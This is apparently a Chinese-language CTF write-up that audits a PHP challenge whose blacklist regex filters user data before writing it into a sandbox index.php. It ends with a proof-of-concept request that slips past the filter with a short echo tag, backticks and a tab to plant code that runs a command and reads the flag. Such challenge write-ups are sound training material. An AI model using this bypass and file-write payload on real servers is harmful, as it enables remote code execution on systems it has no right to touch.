又是代码审计
<?php
error_reporting(0); // 关闭所有 PHP 错误报告
highlight_file(__FILE__); // 显示当前文件的源代码
function check($input) {
// 使用正则表达式检查输入是否包含敏感字符
// 如果包含 '、空格、php 关键字、分号、波浪号、^、+、eval、{、} 等,返回" hacker!!!"。
if (preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i", $input)) {
die('hacker!!!'); // 如果检测到违规字符,终止脚本
} else {
return $input; // 返回安全的输入
}
}
function waf($input) {
// 检查输入是否为数组
if (is_array($input)) {
foreach ($input as $key => $output) {
$input[$key] = waf($output); // 递归调用,检查数组内每个元素
}
} else {
$input = check($input); // 对非数组输入调用 check 函数
}
}
// 根据用户的 IP 地址创建一个唯一的目录
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if (!file_exists($dir)) {
mkdir($dir); // 如果目录不存在,则创建目录
}
// 根据 GET 请求的 action 参数执行相应的操作
switch ($_GET["action"] ?? "") {
case 'pwd':
echo $dir; // 输出当前目录
break;
case 'upload':
$data = $_GET["data"] ?? ""; // 从 GET 请求中获取数据
waf($data); // 对数据进行安全检查
file_put_contents("$dir" . "index.php", $data); // 将数据写入文件
}
?>
- 正则表达式防护不足: 尽管使用了 WAF 和
check
,但这并没有提供完整的安全性。攻击者仍然可以利用一些技巧绕过这些检查。 - 直接写入文件: 没有对上传的文件内容进行严格的限制,一旦绕过检查,可能会导致远程代码执行(RCE)。
poc
?action=pwd
回显成功
访问后得到
拼接poc获得flag
poc
?action=upload&data=<?=`cat\t/flllllll1112222222lag*`?>
这里有个坑需要先写入index.php中然后重新访问
/sandbox/ec53bc853c0c94f2bf546edd1a265425/
即可获得flag